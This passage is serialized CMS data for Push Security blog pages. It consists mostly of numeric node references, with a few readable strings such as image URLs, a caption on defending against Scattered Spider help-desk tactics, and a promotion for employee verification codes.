disclosed.",{"url":119817,"width":1402,"height":119818},"https://images.ctfassets.net/y1cdw1ablpvd/7hJowGlrqAWDpGIag1xWX5/0ce85d41e117129c3db25ea4a09a5604/image3.png",1136,{"sys":119820,"__typename":5503,"content":119821,"name":119842,"title":59},{"id":119575},{"json":119822},{"nodeType":1382,"data":119823,"content":119824},{},[119825],{"nodeType":866,"data":119826,"content":119827},{},[119828,119831,119838],{"nodeType":865,"value":21,"marks":119829,"data":119830},[],{},{"nodeType":889,"data":119832,"content":119833},{"uri":53458},[119834],{"nodeType":865,"value":119835,"marks":119836,"data":119837},"Check out our recent blog post",[],{},{"nodeType":865,"value":119839,"marks":119840,"data":119841}," to learn more about help desk scams and how to protect your organization. ",[],{},"Scattered Spider Insurance Blog Insight Box 1",{"sys":119844,"__typename":1390,"title":119845,"caption":119845,"layoutMode":59,"file":119846},{"id":54438},"Push Security contributes to a layered defense against known Scattered Spider TTPs.",{"url":119847,"width":1402,"height":119818},"https://images.ctfassets.net/y1cdw1ablpvd/1l3phtTjFoQDleiOKYfrXn/ead73aef01e72f08885656d79521a27a/image3.png",{"sys":119849,"__typename":1390,"title":78589,"caption":78590,"layoutMode":59,"file":119850},{"id":54465},{"url":78592,"width":78593,"height":78594},{"sys":119852,"__typename":1390,"title":119853,"caption":59,"layoutMode":59,"file":119854},{"id":119709},"GitLab Quote",{"url":119855,"width":119856,"height":119857},"https://images.ctfassets.net/y1cdw1ablpvd/72pQc6jrPIdG2IMgv45Rf8/4ca5d7c9586d16fdfc0596813156c9b8/GitLab_Quote.png",2000,861,{"sys":119859,"__typename":1414,"type":1415,"ctaText":119860,"buttonLabel":119861,"buttonColour":1418,"buttonUrl":54493},{"id":54525},"Deploy Employee Verification Codes for free today and protect your help desk from Scattered Spider","Try it free",{"items":119863},[],{},"Scattered Spider target aviation & insurance firms",{"url":119867},"https://images.ctfassets.net/y1cdw1ablpvd/mMbgUER8qJH3p4YF8CsAE/cfc45da4f29fb417a627be97335ab23e/Help_desk_verification_codes.png","2025-06-30T00:00:00.000Z",{"items":119870},[119871,120418,120723],{"__typename":1429,"sys":119872,"content":119873,"title":54533,"synopsis":54534,"hashTags":59,"publishedDate":54535,"slug":54536,"tagsCollection":120408,"authorsCollection":120414},{"id":53907},{"json":119874},{"data":119875,"content":119876,"nodeType":1382},{},[119877,119882,119908,119984,120047,120053,120056,120062,120068,120074,120087,120093,120099,120102,120108,120114,120120,120150,120156,120177,120183,120186,120192,120198,120214,120291,120297,120302,120305,120311,120317,120323,120328,120345,120350,120356,120359,120365,120381,120397,120402],{"data":119878,"content":119881,"nodeType":912},{"target":119879},{"sys":119880},{"id":53916,"type":909,"linkType":910},[],{"data":119883,"content":119884,"nodeType":866},{},[119885,119888,119895,119898,119905],{"data":119886,"marks":119887,"value":53924,"nodeType":865},{},[],{"data":119889,"content":119890,"nodeType":889},{"uri":53927},[119891],{"data":119892,"marks":119893,"value":53933,"nodeType":865},{},[119894],{"type":943},{"data":119896,"marks":119897,"value":4988,"nodeType":865},{},[],{"data":119899,"content":119900,"nodeType":889},{"uri":53939},[119901],{"data":119902,"marks":119903,"value":53945,"nodeType":865},{},[119904],{"type":943},{"data":119906,"marks":119907,"value":53949,"nodeType":865},{},[],{"data":119909,"content":119910,"nodeType":866},{},[119911,119914,119921,119924,119931,119934,119941,119944,119951,119954,119961,119964,119971,119974,119981],{"data":119912,"marks":119913,"value":53956,"nodeType":865},{},[],{"data":119915,"content":119916,"nodeType":889},{"uri":53959},[119917],{"data":119918,"marks":119919,"value":53965,"nodeType":865},{},[119920],{"type":943},{"data":119922,"marks":119923,"value":2717,"nodeType":865},{},[],{"data":119925,"content":119926,"nodeType":889},{"uri":53971},[119927],{"data":119928,"marks":119929,"value":53977,"nodeType":865},{},[119930],{"type":943},{"data":119932,"marks":119933,"value":2717,"nodeType":865},{},[],{"data":119935,"content":119936,"nodeType":889},{"uri":53983},[119937],{"data":119938,"marks":119939,"value":53989,"nodeType":865},{},[119940],{"type":943},{"data":119942,"marks":119943,"value":2717,"nodeType":865},{},[],{"data":119945,"content":119946,"nodeType":889},{"uri":53995},[119947],{"data":119948,"marks":119949,"value":54001,"nodeType":865},{},[119950],{"type":943},{"data":119952,"marks":119953,"value":2717,"nodeType":865},{},[],{"data":119955,"content":119956,"nodeType":889},{"uri":54007},[119957],{"data":119958,"marks":119959,"value":54013,"nodeType":865},{},[119960],{"type":943},{"data":119962,"marks":119963,"value":2717,"nodeType":865},{},[],{"data":119965,"content":119966,"nodeType":889},{"uri":54019},[119967],{"data":119968,"marks":119969,"value":54025,"nodeType":865},{},[119970],{"type":943},{"data":119972,"marks":119973,"value":3476,"nodeType":865},{},[],{"data":119975,"content":119976,"nodeType":889},{"uri":54031},[119977],{"data":119978,"marks":119979,"value":54037,"nodeType":865},{},[119980],{"type":943},{"data":119982,"marks":119983,"value":54041,"nodeType":865},{},[],{"data":119985,"content":119986,"nodeType":866},{},[119987,119990,119997,120000,120007,120010,120017,120020,120026,120029,120035,120038,120044],{"data":119988,"marks":119989,"value":54048,"nodeType":865},{},[],{"data":119991,"content":119992,"nodeType":889},{"uri":54051},[119993],{"data":119994,"marks":119995,"value":54057,"nodeType":865},{},[119996],{"type":943},{"data":119998,"marks":119999,"value":2717,"nodeType":865},{},[],{"data":120001,"content":120002,"nodeType":889},{"uri":54063},[120003],{"data":120004,"marks":120005,"value":54069,"nodeType":865},{},[120006],{"type":943},{"data":120008,"marks":120009,"value":54073,"nodeType":865},{},[],{"data":120011,"content":120012,"nodeType":889},{"uri":54076},[120013],{"data":120014,"marks":120015,"value":54082,"nodeType":865},{},[120016],{"type":943},{"data":120018,"marks":120019,"value":54086,"nodeType":865},{},[],{"data":120021,"content":120022,"nodeType":889},{"uri":54089},[120023],{"data":120024,"marks":120025,"value":54094,"nodeType":865},{},[],{"data":120027,"marks":120028,"value":2717,"nodeType":865},{},[],{"data":120030,"content":120031,"nodeType":889},{"uri":54100},[120032],{"data":120033,"marks":120034,"value":54105,"nodeType":865},{},[],{"data":120036,"marks":120037,"value":4988,"nodeType":865},{},[],{"data":120039,"content":120040,"nodeType":889},{"uri":54100},[120041],{"data":120042,"marks":120043,"value":54115,"nodeType":865},{},[],{"data":120045,"marks":120046,"value":6719,"nodeType":865},{},[],{"data":120048,"content":120049,"nodeType":866},{},[120050],{"data":120051,"marks":120052,"value":54125,"nodeType":865},{},[],{"data":120054,"content":120055,"nodeType":972},{},[],{"data":120057,"content":120058,"nodeType":981},{},[120059],{"data":120060,"marks":120061,"value":54135,"nodeType":865},{},[],{"data":120063,"content":120064,"nodeType":866},{},[120065],{"data":120066,"marks":120067,"value":54142,"nodeType":865},{},[],{"data":120069,"content":120070,"nodeType":866},{},[120071],{"data":120072,"marks":120073,"value":54149,"nodeType":865},{},[],{"data":120075,"content":120076,"nodeType":866},{},[120077,120080,120084],{"data":120078,"marks":120079,"value":54156,"nodeType":865},{},[],{"data":120081,"marks":120082,"value":54161,"nodeType":865},{},[120083],{"type":898},{"data":120085,"marks":120086,"value":54165,"nodeType":865},{},[],{"data":120088,"content":120089,"nodeType":866},{},[120090],{"data":120091,"marks":120092,"value":54172,"nodeType":865},{},[],{"data":120094,"content":120095,"nodeType":866},{},[120096],{"data":120097,"marks":120098,"value":54179,"nodeType":865},{},[],{"data":120100,"content":120101,"nodeType":972},{},[],{"data":120103,"content":120104,"nodeType":981},{},[120105],{"data":120106,"marks":120107,"value":54189,"nodeType":865},{},[],{"data":120109,"content":120110,"nodeType":866},{},[120111],{"data":120112,"marks":120113,"value":54196,"nodeType":865},{},[],{"data":120115,"content":120116,"nodeType":866},{},[120117],{"data":120118,"marks":120119,"value":54203,"nodeType":865},{},[],{"data":120121,"content":120122,"nodeType":1616},{},[120123,120132,120141],{"data":120124,"content":120125,"nodeType":1570},{},[120126],{"data":120127,"content":120128,"nodeType":866},{},[120129],{"data":120130,"marks":120131,"value":54216,"nodeType":865},{},[],{"data":120133,"content":120134,"nodeType":1570},{},[120135],{"data":120136,"content":120137,"nodeType":866},{},[120138],{"data":120139,"marks":120140,"value":54226,"nodeType":865},{},[],{"data":120142,"content":120143,"nodeType":1570},{},[120144],{"data":120145,"content":120146,"nodeType":866},{},[120147],{"data":120148,"marks":120149,"value":54236,"nodeType":865},{},[],{"data":120151,"content":120152,"nodeType":866},{},[120153],{"data":120154,"marks":120155,"value":54243,"nodeType":865},{},[],{"data":120157,"content":120158,"nodeType":1616},{},[120159,120168],{"data":120160,"content":120161,"nodeType":1570},{},[120162],{"data":120163,"content":120164,"nodeType":866},{},[120165],{"data":120166,"marks":120167,"value":54256,"nodeType":865},{},[],{"data":120169,"content":120170,"nodeType":1570},{},[120171],{"data":120172,"content":120173,"nodeType":866},{},[120174],{"data":120175,"marks":120176,"value":54266,"nodeType":865},{},[],{"data":120178,"content":120179,"nodeType":866},{},[120180],{"data":120181,"marks":120182,"value":54273,"nodeType":865},{},[],{"data":120184,"content":120185,"nodeType":972},{},[],{"data":120187,"content":120188,"nodeType":981},{},[120189],{"data":120190,"marks":120191,"value":54283,"nodeType":865},{},[],{"data":120193,"content":120194,"nodeType":866},{},[120195],{"data":120196,"marks":120197,"value":54290,"nodeType":865},{},[],{"data":120199,"content":120200,"nodeType":866},{},[120201,120204,120211],{"data":120202,"marks":120203,"value":21,"nodeType":865},{},[],{"data":120205,"content":120206,"nodeType":889},{"uri":54299},[120207],{"data":120208,"marks":120209,"value":54305,"nodeType":865},{},[120210],{"type":943},{"data":120212,"marks":120213,"value":54309,"nodeType":865},{},[],{"data":120215,"content":120216,"nodeType":1616},{},[120217,120226,120235,120254,120263,120272],{"data":120218,"content":120219,"nodeType":1570},{},[120220],{"data":120221,"content":120222,"nodeType":866},{},[120223],{"data":120224,"marks":120225,"value":54322,"nodeType":865},{},[],{"data":120227,"content":120228,"nodeType":1570},{},[120229],{"data":120230,"content":120231,"nodeType":866},{},[120232],{"data":120233,"marks":120234,"value":54332,"nodeType":865},{},[],{"data":120236,"content":120237,"nodeType":1570},{},[120238],{"data":120239,"content":120240,"nodeType":866},{},[120241,120244,120251],{"data":120242,"marks":120243,"value":54342,"nodeType":865},{},[],{"data":120245,"content":120246,"nodeType":889},{"uri":53203},[120247],{"data":120248,"marks":120249,"value":53208,"nodeType":865},{},[120250],{"type":943},{"data":120252,"marks":120253,"value":54353,"nodeType":865},{},[],{"data":120255,"content":120256,"nodeType":1570},{},[120257],{"data":120258,"content":120259,"nodeType":866},{},[120260],{"data":120261,"marks":120262,"value":54363,"nodeType":865},{},[],{"data":120264,"content":120265,"nodeType":1570},{},[120266],{"data":120267,"content":120268,"nodeType":866},{},[120269],{"data":120270,"marks":120271,"value":54373,"nodeType":865},{},[],{"data":120273,"content":120274,"nodeType":1570},{},[120275],{"data":120276,"content":120277,"nodeType":866},{},[120278,120281,120288],{"data":120279,"marks":120280,"value":54383,"nodeType":865},{},[],{"data":120282,"content":120283,"nodeType":889},{"uri":54386},[120284],{"data":120285,"marks":120286,"value":54392,"nodeType":865},{},[120287],{"type":943},{"data":120289,"marks":120290,"value":54396,"nodeType":865},{},[],{"data":120292,"content":120293,"nodeType":866},{},[120294],{"data":120295,"marks":120296,"value":54403,"nodeType":865},{},[],{"data":120298,"content":120301,"nodeType":912},{"target":120299},{"sys":120300},{"id":54408,"type":909,"linkType":910},[],{"data":120303,"content":120304,"nodeType":972},{},[],{"data":120306,"content":120307,"nodeType":981},{},[120308],{"data":120309,"marks":120310,"value":54419,"nodeType":865},{},[],{"data":120312,"content":120313,"nodeType":866},{},[120314],{"data":120315,"marks":120316,"value":54426,"nodeType":865},{},[],{"data":120318,"content":120319,"nodeType":866},{},[120320],{"data":120321,"marks":120322,"value":54433,"nodeType":865},{},[],{"data":120324,"content":120327,"nodeType":912},{"target":120325},{"sys":120326},{"id":54438,"type":909,"linkType":910},[],{"data":120329,"content":120330,"nodeType":866},{},[120331,120334,120342],{"data":120332,"marks":120333,"value":54446,"nodeType":865},{},[],{"data":120335,"content":120336,"nodeType":889},{"uri":54449},[120337],{"data":120338,"marks":120339,"value":54456,"nodeType":865},{},[120340,120341],{"type":943},{"type":926},{"data":120343,"marks":120344,"value":54460,"nodeType":865},{},[],{"data":120346,"content":120349,"nodeType":912},{"target":120347},{"sys":120348},{"id":54465,"type":909,"linkType":910},[],{"data":120351,"content":120352,"nodeType":866},{},[120353],{"data":120354,"marks":120355,"value":54473,"nodeType":865},{},[],{"data":120357,"content":120358,"nodeType":972},{},[],{"data":120360,"content":120361,"nodeType":981},{},[120362],{"data":120363,"marks":120364,"value":54483,"nodeType":865},{},[],{"data":120366,"content":120367,"nodeType":866},{},[120368,120371,120378],{"data":120369,"marks":120370,"value":54490,"nodeType":865},{},[],{"data":120372,"content":120373,"nodeType":889},{"uri":54493},[120374],{"data":120375,"marks":120376,"value":54499,"nodeType":865},{},[120377],{"type":943},{"data":120379,"marks":120380,"value":54503,"nodeType":865},{},[],{"data":120382,"content":120383,"nodeType":866},{},[120384,120387,120394],{"data":120385,"marks":120386,"value":54510,"nodeType":865},{},[],{"data":120388,"content":120389,"nodeType":889},{"uri":16069},[120390],{"data":120391,"marks":120392,"value":11405,"nodeType":865},{},[120393],{"type":943},{"data":120395,"marks":120396,"value":1615,"nodeType":865},{},[],{"data":120398,"content":120401,"nodeType":912},{"target":120399},{"sys":120400},{"id":54525,"type":909,"linkType":910},[],{"data":120403,"content":120404,"nodeType":866},{},[120405],{"data":120406,"marks":120407,"value":21,"nodeType":865},{},[],{"items":120409},[120410,120412],{"sys":120411,"name":7796},{"id":7795},{"sys":120413,"name":342},{"id":4642},{"items":120415},[120416],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":120417},{"url":7804},{"__typename":1429,"sys":120419,"content":120420,"title":87659,"synopsis":115872,"hashTags":59,"publishedDate":115873,"slug":87660,"tagsCollection":120715,"authorsCollection":120719},{"id":80645},{"json":120421},{"data":120422,"content":120423,"nodeType":1382},{},[120424,120430,120436,120442,120447,120453,120483,120489,120495,120501,120506,120512,120518,120533,120538,120544,120560,120576,120582,120588,120594,120600,120606,120612,120618,120634,120640,120646,120651,120657,120663,120683,120688,120704,120709],{"data":120425,"content":120426,"nodeType":866},{},[120427],{"data":120428,"marks":120429,"value":115540,"nodeType":865},{},[],{"data":120431,"content":120432,"nodeType":866},{},[120433],{"data":120434,"marks":120435,"value":115547,"nodeType":865},{},[],{"data":120437,"content":120438,"nodeType":866},{},[120439],{"data":120440,"marks":120441,"value":115554,"nodeType":865},{},[],{"data":120443,"content":120446,"nodeType":912},{"target":120444},{"sys":120445},{"id":115559,"type":909,"linkType":910},[],{"data":120448,"content":120449,"nodeType":866},{},[120450],{"data":120451,"marks":120452,"value":115567,"nodeType":865},{},[],{"data":120454,"content":120455,"nodeType":1616},{},[120456,120465,120474],{"data":120457,"content":120458,"nodeType":1570},{},[120459],{"data":120460,"content":120461,"nodeType":866},{},[120462],{"data":120463,"marks":120464,"value":115580,"nodeType":865},{},[],{"data":120466,"content":120467,"nodeType":1570},{},[120468],{"data":120469,"content":120470,"nodeType":866},{},[120471],{"data":120472,"marks":120473,"value":115590,"nodeType":865},{},[],{"data":120475,"content":120476,"nodeType":1570},{},[120477],{"data":120478,"content":120479,"nodeType":866},{},[120480],{"data":120481,"marks":120482,"value":115600,"nodeType":865},{},[],{"data":120484,"content":120485,"nodeType":866},{},[120486],{"data":120487,"marks":120488,"value":115607,"nodeType":865},{},[],{"data":120490,"content":120491,"nodeType":981},{},[120492],{"data":120493,"marks":120494,"value":115614,"nodeType":865},{},[],{"data":120496,"content":120497,"nodeType":866},{},[120498],{"data":120499,"marks":120500,"value":115621,"nodeType":865},{},[],{"data":120502,"content":120505,"nodeType":912},{"target":120503},{"sys":120504},{"id":115626,"type":909,"linkType":910},[],{"data":120507,"content":120508,"nodeType":866},{},[120509],{"data":120510,"marks":120511,"value":115634,"nodeType":865},{},[],{"data":120513,"content":120514,"nodeType":981},{},[120515],{"data":120516,"marks":120517,"value":115641,"nodeType":865},{},[],{"data":120519,"content":120520,"nodeType":866},{},[120521,120524,120530],{"data":120522,"marks":120523,"value":115648,"nodeType":865},{},[],{"data":120525,"content":120526,"nodeType":889},{"uri":54299},[120527],{"data":120528,"marks":120529,"value":115655,"nodeType":865},{},[],{"data":120531,"marks":120532,"value":115659,"nodeType":865},{},[],{"data":120534,"content":120537,"nodeType":912},{"target":120535},{"sys":120536},{"id":54408,"type":909,"linkType":910},[],{"data":120539,"content":120540,"nodeType":1317},{},[120541],{"data":120542,"marks":120543,"value":115671,"nodeType":865},{},[],{"data":120545,"content":120546,"nodeType":866},{},[120547,120550,120557],{"data":120548,"marks":120549,"value":115678,"nodeType":865},{},[],{"data":120551,"content":120552,"nodeType":889},{"uri":115681},[120553],{"data":120554,"marks":120555,"value":115687,"nodeType":865},{},[120556],{"type":943},{"data":120558,"marks":120559,"value":115691,"nodeType":865},{},[],{"data":120561,"content":120562,"nodeType":866},{},[120563,120566,120573],{"data":120564,"marks":120565,"value":115698,"nodeType":865},{},[],{"data":120567,"content":120568,"nodeType":889},{"uri":53413},[120569],{"data":120570,"marks":120571,"value":53419,"nodeType":865},{},[120572],{"type":943},{"data":120574,"marks":120575,"value":115709,"nodeType":865},{},[],{"data":120577,"content":120578,"nodeType":866},{},[120579],{"data":120580,"marks":120581,"value":115716,"nodeType":865},{},[],{"data":120583,"content":120584,"nodeType":866},{},[120585],{"data":120586,"marks":120587,"value":115723,"nodeType":865},{},[],{"data":120589,"content":120590,"nodeType":1317},{},[120591],{"data":120592,"marks":120593,"value":115730,"nodeType":865},{},[],{"data":120595,"content":120596,"nodeType":866},{},[120597],{"data":120598,"marks":120599,"value":115737,"nodeType":865},{},[],{"data":120601,"content":120602,"nodeType":866},{},[120603],{"data":120604,"marks":120605,"value":115744,"nodeType":865},{},[],{"data":120607,"content":120608,"nodeType":981},{},[120609],{"data":120610,"marks":120611,"value":115751,"nodeType":865},{},[],{"data":120613,"content":120614,"nodeType":866},{},[120615],{"data":120616,"marks":120617,"value":115758,"nodeType":865},{},[],{"data":120619,"content":120620,"nodeType":866},{},[120621,120624,120631],{"data":120622,"marks":120623,"value":115765,"nodeType":865},{},[],{"data":120625,"content":120626,"nodeType":889},{"uri":115768},[120627],{"data":120628,"marks":120629,"value":115774,"nodeType":865},{},[120630],{"type":943},{"data":120632,"marks":120633,"value":115778,"nodeType":865},{},[],{"data":120635,"content":120636,"nodeType":866},{},[120637],{"data":120638,"marks":120639,"value":115785,"nodeType":865},{},[],{"data":120641,"content":120642,"nodeType":866},{},[120643],{"data":120644,"marks":120645,"value":115792,"nodeType":865},{},[],{"data":120647,"content":120650,"nodeType":912},{"target":120648},{"sys":120649},{"id":115797,"type":909,"linkType":910},[],{"data":120652,"content":120653,"nodeType":981},{},[120654],{"data":120655,"marks":120656,"value":54483,"nodeType":865},{},[],{"data":120658,"content":120659,"nodeType":866},{},[120660],{"data":120661,"marks":120662,"value":115811,"nodeType":865},{},[],{"data":120664,"content":120665,"nodeType":866},{},[120666,120669,120673,120676,120680],{"data":120667,"marks":120668,"value":115818,"nodeType":865},{},[],{"data":120670,"marks":120671,"value":58582,"nodeType":865},{},[120672],{"type":926},{"data":120674,"marks":120675,"value":115826,"nodeType":865},{},[],{"data":120677,"marks":120678,"value":115831,"nodeType":865},{},[120679],{"type":926},{"data":120681,"marks":120682,"value":115835,"nodeType":865},{},[],{"data":120684,"content":120687,"nodeType":912},{"target":120685},{"sys":120686},{"id":115840,"type":909,"linkType":910},[],{"data":120689,"content":120690,"nodeType":866},{},[120691,120694,120701],{"data":120692,"marks":120693,"value":115848,"nodeType":865},{},[],{"data":120695,"content":120696,"nodeType":889},{"uri":16069},[120697],{"data":120698,"marks":120699,"value":14066,"nodeType":865},{},[120700],{"type":943},{"data":120702,"marks":120703,"value":115859,"nodeType":865},{},[],{"data":120705,"content":120708,"nodeType":912},{"target":120706},{"sys":120707},{"id":115864,"type":909,"linkType":910},[],{"data":120710,"content":120711,"nodeType":866},{},[120712],{"data":120713,"marks":120714,"value":21,"nodeType":865},{},[],{"items":120716},[120717],{"sys":120718,"name":297},{"id":2310},{"items":120720},[120721],{"fullName":4614,"firstName":4615,"jobTitle":4616,"profilePicture":120722},{"url":4618},{"__typename":1429,"sys":120724,"content":120725,"title":118081,"synopsis":118082,"hashTags":59,"publishedDate":118083,"slug":118084,"tagsCollection":121266,"authorsCollection":121272},{"id":117468},{"json":120726},{"data":120727,"content":120728,"nodeType":1382},{},[120729,120735,120741,120748,120771,120777,120782,120785,120792,120798,120804,120843,120849,120855,120858,120865,120871,120877,120883,120899,120905,120910,120917,120923,120929,120935,120940,120943,120950,120957,120963,120970,120976,121034,121040,121047,121053,121083,121090,121096,121103,121109,121116,121122,121170,121176,121179,121186,121192,121207,121237,121255,121260],{"data":120730,"content":120731,"nodeType":866},{},[120732],{"data":120733,"marks":120734,"value":117479,"nodeType":865},{},[],{"data":120736,"content":120737,"nodeType":866},{},[120738],{"data":120739,"marks":120740,"value":117486,"nodeType":865},{},[],{"data":120742,"content":120743,"nodeType":866},{},[120744],{"data":120745,"marks":120746,"value":117494,"nodeType":865},{},[120747],{"type":926},{"data":120749,"content":120750,"nodeType":866},{},[120751,120754,120761,120764,120768],{"data":120752,"marks":120753,"value":117501,"nodeType":865},{},[],{"data":120755,"content":120756,"nodeType":889},{"uri":117504},[120757],{"data":120758,"marks":120759,"value":117510,"nodeType":865},{},[120760],{"type":943},{"data":120762,"marks":120763,"value":117514,"nodeType":865},{},[],{"data":120765,"marks":120766,"value":117519,"nodeType":865},{},[120767],{"type":898},{"data":120769,"marks":120770,"value":117523,"nodeType":865},{},[],{"data":120772,"content":120773,"nodeType":866},{},[120774],{"data":120775,"marks":120776,"value":117530,"nodeType":865},{},[],{"data":120778,"content":120781,"nodeType":912},{"target":120779},{"sys":120780},{"id":117535,"type":909,"linkType":910},[],{"data":120783,"content":120784,"nodeType":972},{},[],{"data":120786,"content":120787,"nodeType":981},{},[120788],{"data":120789,"marks":120790,"value":117547,"nodeType":865},{},[120791],{"type":926},{"data":120793,"content":120794,"nodeType":866},{},[120795],{"data":120796,"marks":120797,"value":117554,"nodeType":865},{},[],{"data":120799,"content":120800,"nodeType":866},{},[120801],{"data":120802,"marks":120803,"value":117561,"nodeType":865},{},[],{"data":120805,"content":120806,"nodeType":1616},{},[120807,120816,120825,120834],{"data":120808,"content":120809,"nodeType":1570},{},[120810],{"data":120811,"content":120812,"nodeType":866},{},[120813],{"data":120814,"marks":120815,"value":117574,"nodeType":865},{},[],{"data":120817,"content":120818,"nodeType":1570},{},[120819],{"data":120820,"content":120821,"nodeType":866},{},[120822],{"data":120823,"marks":120824,"value":117584,"nodeType":865},{},[],{"data":120826,"content":120827,"nodeType":1570},{},[120828],{"data":120829,"content":120830,"nodeType":866},{},[120831],{"data":120832,"marks":120833,"value":117594,"nodeType":865},{},[],{"data":120835,"content":120836,"nodeType":1570},{},[120837],{"data":120838,"content":120839,"nodeType":866},{},[120840],{"data":120841,"marks":120842,"value":117604,"nodeType":865},{},[],{"data":120844,"content":120845,"nodeType":866},{},[120846],{"data":120847,"marks":120848,"value":117611,"nodeType":865},{},[],{"data":120850,"content":120851,"nodeType":866},{},[120852],{"data":120853,"marks":120854,"value":117618,"nodeType":865},{},[],{"data":120856,"content":120857,"nodeType":972},{},[],{"data":120859,"content":120860,"nodeType":981},{},[120861],{"data":120862,"marks":120863,"value":117629,"nodeType":865},{},[120864],{"type":926},{"data":120866,"content":120867,"nodeType":866},{},[120868],{"data":120869,"marks":120870,"value":117636,"nodeType":865},{},[],{"data":120872,"content":120873,"nodeType":866},{},[120874],{"data":120875,"marks":120876,"value":117643,"nodeType":865},{},[],{"data":120878,"content":120879,"nodeType":866},{},[120880],{"data":120881,"marks":120882,"value":117650,"nodeType":865},{},[],{"data":120884,"content":120885,"nodeType":866},{},[120886,120889,120896],{"data":120887,"marks":120888,"value":117657,"nodeType":865},{},[],{"data":120890,"content":120891,"nodeType":889},{"uri":15860},[120892],{"data":120893,"marks":120894,"value":102968,"nodeType":865},{},[120895],{"type":943},{"data":120897,"marks":120898,"value":117668,"nodeType":865},{},[],{"data":120900,"content":120901,"nodeType":866},{},[120902],{"data":120903,"marks":120904,"value":117675,"nodeType":865},{},[],{"data":120906,"content":120909,"nodeType":912},{"target":120907},{"sys":120908},{"id":117680,"type":909,"linkType":910},[],{"data":120911,"content":120912,"nodeType":981},{},[120913],{"data":120914,"marks":120915,"value":117689,"nodeType":865},{},[120916],{"type":926},{"data":120918,"content":120919,"nodeType":866},{},[120920],{"data":120921,"marks":120922,"value":117696,"nodeType":865},{},[],{"data":120924,"content":120925,"nodeType":866},{},[120926],{"data":120927,"marks":120928,"value":117703,"nodeType":865},{},[],{"data":120930,"content":120931,"nodeType":866},{},[120932],{"data":120933,"marks":120934,"value":117710,"nodeType":865},{},[],{"data":120936,"content":120939,"nodeType":912},{"target":120937},{"sys":120938},{"id":117715,"type":909,"linkType":910},[],{"data":120941,"content":120942,"nodeType":972},{},[],{"data":120944,"content":120945,"nodeType":981},{},[120946],{"data":120947,"marks":120948,"value":117727,"nodeType":865},{},[120949],{"type":926},{"data":120951,"content":120952,"nodeType":1317},{},[120953],{"data":120954,"marks":120955,"value":117735,"nodeType":865},{},[120956],{"type":926},{"data":120958,"content":120959,"nodeType":866},{},[120960],{"data":120961,"marks":120962,"value":117742,"nodeType":865},{},[],{"data":120964,"content":120965,"nodeType":1317},{},[120966],{"data":120967,"marks":120968,"value":117750,"nodeType":865},{},[120969],{"type":926},{"data":120971,"content":120972,"nodeType":866},{},[120973],{"data":120974,"marks":120975,"value":117757,"nodeType":865},{},[],{"data":120977,"content":120978,"nodeType":1616},{},[120979,120988,120997,121016,121025],{"data":120980,"content":120981,"nodeType":1570},{},[120982],{"data":120983,"content":120984,"nodeType":866},{},[120985],{"data":120986,"marks":120987,"value":117770,"nodeType":865},{},[],{"data":120989,"content":120990,"nodeType":1570},{},[120991],{"data":120992,"content":120993,"nodeType":866},{},[120994],{"data":120995,"marks":120996,"value":117780,"nodeType":865},{},[],{"data":120998,"content":120999,"nodeType":1570},{},[121000],{"data":121001,"content":121002,"nodeType":866},{},[121003,121006,121013],{"data":121004,"marks":121005,"value":113738,"nodeType":865},{},[],{"data":121007,"content":121008,"nodeType":889},{"uri":110870},[121009],{"data":121010,"marks":121011,"value":113746,"nodeType":865},{},[121012],{"type":943},{"data":121014,"marks":121015,"value":21,"nodeType":865},{},[],{"data":121017,"content":121018,"nodeType":1570},{},[121019],{"data":121020,"content":121021,"nodeType":866},{},[121022],{"data":121023,"marks":121024,"value":117809,"nodeType":865},{},[],{"data":121026,"content":121027,"nodeType":1570},{},[121028],{"data":121029,"content":121030,"nodeType":866},{},[121031],{"data":121032,"marks":121033,"value":117819,"nodeType":865},{},[],{"data":121035,"content":121036,"nodeType":866},{},[121037],{"data":121038,"marks":121039,"value":117826,"nodeType":865},{},[],{"data":121041,"content":121042,"nodeType":1317},{},[121043],{"data":121044,"marks":121045,"value":117834,"nodeType":865},{},[121046],{"type":926},{"data":121048,"content":121049,"nodeType":866},{},[121050],{"data":121051,"marks":121052,"value":117841,"nodeType":865},{},[],{"data":121054,"content":121055,"nodeType":1616},{},[121056,121065,121074],{"data":121057,"content":121058,"nodeType":1570},{},[121059],{"data":121060,"content":121061,"nodeType":866},{},[121062],{"data":121063,"marks":121064,"value":117854,"nodeType":865},{},[],{"data":121066,"content":121067,"nodeType":1570},{},[121068],{"data":121069,"content":121070,"nodeType":866},{},[121071],{"data":121072,"marks":121073,"value":117864,"nodeType":865},{},[],{"data":121075,"content":121076,"nodeType":1570},{},[121077],{"data":121078,"content":121079,"nodeType":866},{},[121080],{"data":121081,"marks":121082,"value":117874,"nodeType":865},{},[],{"data":121084,"content":121085,"nodeType":1317},{},[121086],{"data":121087,"marks":121088,"value":117882,"nodeType":865},{},[121089],{"type":926},{"data":121091,"content":121092,"nodeType":866},{},[121093],{"data":121094,"marks":121095,"value":117889,"nodeType":865},{},[],{"data":121097,"content":121098,"nodeType":1317},{},[121099],{"data":121100,"marks":121101,"value":117897,"nodeType":865},{},[121102],{"type":926},{"data":121104,"content":121105,"nodeType":866},{},[121106],{"data":121107,"marks":121108,"value":117904,"nodeType":865},{},[],{"data":121110,"content":121111,"nodeType":1317},{},[121112],{"data":121113,"marks":121114,"value":117912,"nodeType":865},{},[121115],{"type":926},{"data":121117,"content":121118,"nodeType":866},{},[121119],{"data":121120,"marks":121121,"value":117919,"nodeType":865},{},[],{"data":121123,"content":121124,"nodeType":1616},{},[121125,121134,121143,121152,121161],{"data":121126,"content":121127,"nodeType":1570},{},[121128],{"data":121129,"content":121130,"nodeType":866},{},[121131],{"data":121132,"marks":121133,"value":117932,"nodeType":865},{},[],{"data":121135,"content":121136,"nodeType":1570},{},[121137],{"data":121138,"content":121139,"nodeType":866},{},[121140],{"data":121141,"marks":121142,"value":117942,"nodeType":865},{},[],{"data":121144,"content":121145,"nodeType":1570},{},[121146],{"data":121147,"content":121148,"nodeType":866},{},[121149],{"data":121150,"marks":121151,"value":117952,"nodeType":865},{},[],{"data":121153,"content":121154,"nodeType":1570},{},[121155],{"data":121156,"content":121157,"nodeType":866},{},[121158],{"data":121159,"marks":121160,"value":117962,"nodeType":865},{},[],{"data":121162,"content":121163,"nodeType":1570},{},[121164],{"data":121165,"content":121166,"nodeType":866},{},[121167],{"data":121168,"marks":121169,"value":117972,"nodeType":865},{},[],{"data":121171,"content":121172,"nodeType":866},{},[121173],{"data":121174,"marks":121175,"value":117979,"nodeType":865},{},[],{"data":121177,"content":121178,"nodeType":972},{},[],{"data":121180,"content